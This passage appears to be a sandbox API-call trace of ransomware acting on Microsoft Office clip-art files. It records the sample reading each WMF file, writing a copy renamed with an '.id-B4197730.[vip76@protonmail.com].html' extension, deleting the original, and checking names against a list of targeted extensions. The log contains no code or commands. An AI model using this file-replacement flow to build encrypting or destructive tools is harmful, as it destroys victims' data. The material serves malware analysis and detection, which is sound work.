	[0207.083] CloseHandle (hObject=0x350) returned 1
	[0207.083] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.083] SetEndOfFile (hFile=0x38c) returned 1
	[0207.084] CloseHandle (hObject=0x38c) returned 1
	[0207.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1
	[0207.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.085] lstrlenW (lpString=".doc") returned 4
	[0207.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.085] lstrlenW (lpString=".docx") returned 5
	[0207.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.085] lstrlenW (lpString=".pdf") returned 4
	[0207.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.085] lstrlenW (lpString=".xls") returned 4
	[0207.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.085] lstrlenW (lpString=".xlsx") returned 5
	[0207.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.085] lstrlenW (lpString=".ppt") returned 4
	[0207.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.085] lstrlenW (lpString=".zip") returned 4
	[0207.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.085] lstrlenW (lpString=".rar") returned 4
	[0207.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.085] lstrlenW (lpString=".bz2") returned 4
	[0207.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.085] lstrlenW (lpString=".7z") returned 3
	[0207.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.085] lstrlenW (lpString=".dbf") returned 4
	[0207.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.085] lstrlenW (lpString=".1cd") returned 4
	[0207.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.085] lstrlenW (lpString=".jpg") returned 4
	[0207.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.086] lstrlenW (lpString=".doc") returned 4
	[0207.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.086] lstrlenW (lpString=".docx") returned 5
	[0207.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.086] lstrlenW (lpString=".pdf") returned 4
	[0207.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.086] lstrlenW (lpString=".xls") returned 4
	[0207.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.086] lstrlenW (lpString=".xlsx") returned 5
	[0207.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.086] lstrlenW (lpString=".ppt") returned 4
	[0207.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.086] lstrlenW (lpString=".zip") returned 4
	[0207.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.086] lstrlenW (lpString=".rar") returned 4
	[0207.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.086] lstrlenW (lpString=".bz2") returned 4
	[0207.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.086] lstrlenW (lpString=".7z") returned 3
	[0207.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.086] lstrlenW (lpString=".dbf") returned 4
	[0207.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.086] lstrlenW (lpString=".1cd") returned 4
	[0207.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0207.086] lstrlenW (lpString=".jpg") returned 4
	[0207.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.087] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.087] lstrlenW (lpString="FD01658_.WMF") returned 12
	[0207.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.087] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=17924) returned 1
	[0207.087] CloseHandle (hObject=0x38c) returned 1
	[0207.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220
	[0207.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.087] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.087] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.088] GetLastError () returned 0x0
	[0207.088] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x4604, lpOverlapped=0x0) returned 1
	[0207.089] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x4610, lpOverlapped=0x0) returned 1
	[0207.091] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.091] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.091] SetEndOfFile (hFile=0x350) returned 1
	[0207.091] CloseHandle (hObject=0x350) returned 1
	[0207.091] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.091] SetEndOfFile (hFile=0x38c) returned 1
	[0207.092] CloseHandle (hObject=0x38c) returned 1
	[0207.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1
	[0207.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.093] lstrlenW (lpString=".doc") returned 4
	[0207.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.093] lstrlenW (lpString=".docx") returned 5
	[0207.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.093] lstrlenW (lpString=".pdf") returned 4
	[0207.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.093] lstrlenW (lpString=".xls") returned 4
	[0207.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.093] lstrlenW (lpString=".xlsx") returned 5
	[0207.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.093] lstrlenW (lpString=".ppt") returned 4
	[0207.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.093] lstrlenW (lpString=".zip") returned 4
	[0207.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.094] lstrlenW (lpString=".rar") returned 4
	[0207.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.094] lstrlenW (lpString=".bz2") returned 4
	[0207.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.094] lstrlenW (lpString=".7z") returned 3
	[0207.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.094] lstrlenW (lpString=".dbf") returned 4
	[0207.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.094] lstrlenW (lpString=".1cd") returned 4
	[0207.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.094] lstrlenW (lpString=".jpg") returned 4
	[0207.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.094] lstrlenW (lpString=".doc") returned 4
	[0207.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.094] lstrlenW (lpString=".docx") returned 5
	[0207.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.094] lstrlenW (lpString=".pdf") returned 4
	[0207.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.094] lstrlenW (lpString=".xls") returned 4
	[0207.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.094] lstrlenW (lpString=".xlsx") returned 5
	[0207.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.094] lstrlenW (lpString=".ppt") returned 4
	[0207.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.094] lstrlenW (lpString=".zip") returned 4
	[0207.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.094] lstrlenW (lpString=".rar") returned 4
	[0207.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.095] lstrlenW (lpString=".bz2") returned 4
	[0207.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.095] lstrlenW (lpString=".7z") returned 3
	[0207.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.095] lstrlenW (lpString=".dbf") returned 4
	[0207.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.095] lstrlenW (lpString=".1cd") returned 4
	[0207.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0207.095] lstrlenW (lpString=".jpg") returned 4
	[0207.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.095] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.095] lstrlenW (lpString="FD01659_.WMF") returned 12
	[0207.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.095] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=31180) returned 1
	[0207.095] CloseHandle (hObject=0x38c) returned 1
	[0207.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220
	[0207.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.096] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.096] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.097] GetLastError () returned 0x0
	[0207.097] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x79cc, lpOverlapped=0x0) returned 1
	[0207.098] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x79d0, lpOverlapped=0x0) returned 1
	[0207.100] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.100] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.100] SetEndOfFile (hFile=0x350) returned 1
	[0207.100] CloseHandle (hObject=0x350) returned 1
	[0207.100] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.100] SetEndOfFile (hFile=0x38c) returned 1
	[0207.101] CloseHandle (hObject=0x38c) returned 1
	[0207.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1
	[0207.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.102] lstrlenW (lpString=".doc") returned 4
	[0207.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.102] lstrlenW (lpString=".docx") returned 5
	[0207.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.102] lstrlenW (lpString=".pdf") returned 4
	[0207.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.102] lstrlenW (lpString=".xls") returned 4
	[0207.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.102] lstrlenW (lpString=".xlsx") returned 5
	[0207.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.102] lstrlenW (lpString=".ppt") returned 4
	[0207.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.102] lstrlenW (lpString=".zip") returned 4
	[0207.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.103] lstrlenW (lpString=".rar") returned 4
	[0207.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.103] lstrlenW (lpString=".bz2") returned 4
	[0207.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.103] lstrlenW (lpString=".7z") returned 3
	[0207.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.103] lstrlenW (lpString=".dbf") returned 4
	[0207.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.103] lstrlenW (lpString=".1cd") returned 4
	[0207.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.103] lstrlenW (lpString=".jpg") returned 4
	[0207.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.103] lstrlenW (lpString=".doc") returned 4
	[0207.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.103] lstrlenW (lpString=".docx") returned 5
	[0207.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.103] lstrlenW (lpString=".pdf") returned 4
	[0207.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.103] lstrlenW (lpString=".xls") returned 4
	[0207.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.103] lstrlenW (lpString=".xlsx") returned 5
	[0207.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.103] lstrlenW (lpString=".ppt") returned 4
	[0207.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.103] lstrlenW (lpString=".zip") returned 4
	[0207.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.103] lstrlenW (lpString=".rar") returned 4
	[0207.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.104] lstrlenW (lpString=".bz2") returned 4
	[0207.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.104] lstrlenW (lpString=".7z") returned 3
	[0207.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.104] lstrlenW (lpString=".dbf") returned 4
	[0207.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.104] lstrlenW (lpString=".1cd") returned 4
	[0207.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0207.104] lstrlenW (lpString=".jpg") returned 4
	[0207.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.104] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.104] lstrlenW (lpString="FD01660_.WMF") returned 12
	[0207.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.104] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=12958) returned 1
	[0207.104] CloseHandle (hObject=0x38c) returned 1
	[0207.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220
	[0207.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.105] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.105] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.106] GetLastError () returned 0x0
	[0207.106] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x329e, lpOverlapped=0x0) returned 1
	[0207.107] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x32a0, lpOverlapped=0x0) returned 1
	[0207.566] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.566] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.566] SetEndOfFile (hFile=0x350) returned 1
	[0207.566] CloseHandle (hObject=0x350) returned 1
